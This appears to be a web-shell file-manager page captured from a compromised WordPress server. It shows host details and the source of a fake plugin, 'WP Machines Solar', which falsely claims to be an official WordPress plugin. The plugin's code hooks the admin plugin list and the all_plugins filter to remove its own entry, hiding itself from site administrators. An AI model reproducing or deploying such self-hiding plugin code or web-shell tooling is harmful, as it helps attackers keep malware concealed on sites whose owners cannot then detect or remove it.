HEX
Server: Apache
System: Linux WWW 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64
User: web11 (1011)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /var/www/itself.kauko.lt/wp-content/plugins/wp-machines-solar/wp-machines-solar.php
<?php
/*
Plugin Name: WP Machines Solar
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 18.1.2
Author URI: http://wordpress.org/#
License: GPL2
*/

function uxc_uvu()
{
    global $wp_list_table;
    
    if (!isset($wp_list_table)) {
        return;
    }

    $a = array('wp-machines-solar/wp-machines-solar.php');

    if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
        foreach ($wp_list_table->items as $key => $val) {
            if (in_array($key, $a)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
}

function cix_sqc($plugins)
{
    $i = 'wp-machines-solar/wp-machines-solar.php';
    if (array_key_exists($i, $plugins)) {
        unset($plugins[$i]);
    }
    return $plugins;
}

if (defined('ABSPATH')) {
    add_action('pre_current_active_plugins', 'uxc_uvu');
    add_filter('all_plugins', 'cix_sqc');
}